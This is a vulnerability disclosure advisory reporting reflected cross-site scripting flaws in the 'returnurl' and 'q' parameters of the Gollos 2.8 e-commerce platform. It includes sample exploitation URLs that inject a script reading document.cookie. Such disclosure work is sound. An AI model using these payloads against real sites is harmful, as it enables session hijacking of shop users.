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Cross-site Scripting (XSS) Vulnerabilities in Gollos

Advisory ID:HTB22830
Product:Gollos
Vendor:Gollos
Vulnerable Versions:2.8 and probably prior
Tested Version:2.8
Advisory Publication:February 1, 2011 [without technical details]
Vendor Notification:February 1, 2011
Public Disclosure:February 15, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Gollos which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in Gollos
1.1 The vulnerability exists due to input sanitation errors in the "returnurl" parameter in register.aspx, publication/info.aspx and user/add.aspx scripts. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://host/?returnurl="><script>alert(document.cookie)</script>
http://hos t/register.aspx?return url="><script>alert(document.cookie)</script>
https://adminhost/publication /info.aspx?pt=1&return url="><script>alert(document.cookie)</script>
https://adminhost/user/add.as px?returnurl="><script >alert(document.cookie)</script>
user/add.aspx

1.2 The vulnerability exists due to input sanitation error in the "q" parameter in product/list.aspx. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/product/list.aspx?q=1"><script>alert(document.cookie)</script>&x =0&y=0


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22830 - https://www.immuniweb.com/advisory/HTB22830 - Cross-site Scripting (XSS) Vulnerabilities in Gollos
[2] Gollos - www.gollos.com – Gollos is an e-commerce platform for creating online shops.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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